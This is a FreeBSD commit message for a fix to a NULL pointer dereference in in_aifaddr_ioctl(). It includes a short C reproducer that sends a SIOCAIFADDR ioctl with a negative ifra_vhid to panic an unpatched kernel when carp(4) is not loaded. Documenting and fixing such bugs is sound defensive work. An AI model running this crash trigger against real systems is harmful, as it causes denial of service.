netinet: prevent NULL pointer dereference in in_aifaddr_ioctl()
It appears that maliciously crafted ifaliasreq can lead to NULL
pointer dereference in in_aifaddr_ioctl(). In order to replicate
that, one needs to
- Ensure that carp(4) is not loaded
- Issue SIOCAIFADDR call setting ifra_vhid field of the request to a negative value.
A repro code would look like this.
int main() {
struct ifaliasreq req;
struct sockaddr_in sin, mask;
int fd, error;
bzero(&sin, sizeof(struct sockaddr_in));
bzero(&mask, sizeof(struct sockaddr_in));
sin.sin_len = sizeof(struct sockaddr_in);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("192.168.88.2");
mask.sin_len = sizeof(struct sockaddr_in);
mask.sin_family = AF_INET;
mask.sin_addr.s_addr = inet_addr("255.255.255.0");
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return (-1);
memset(&req, 0, sizeof(struct ifaliasreq));
strlcpy(req.ifra_name, "lo0", sizeof(req.ifra_name));
memcpy(&req.ifra_addr, &sin, sin.sin_len);
memcpy(&req.ifra_mask, &mask, mask.sin_len);
req.ifra_vhid = -1;
return ioctl(fd, SIOCAIFADDR, (char *)&req);}
To fix, discard both positive and negative vhid values in
in_aifaddr_ioctl, if carp(4) is not loaded. This prevents NULL pointer
dereference and kernel panic.
Reviewed by: imp@
Pull Request: https://github.com/freebsd/freebsd-src/pull/530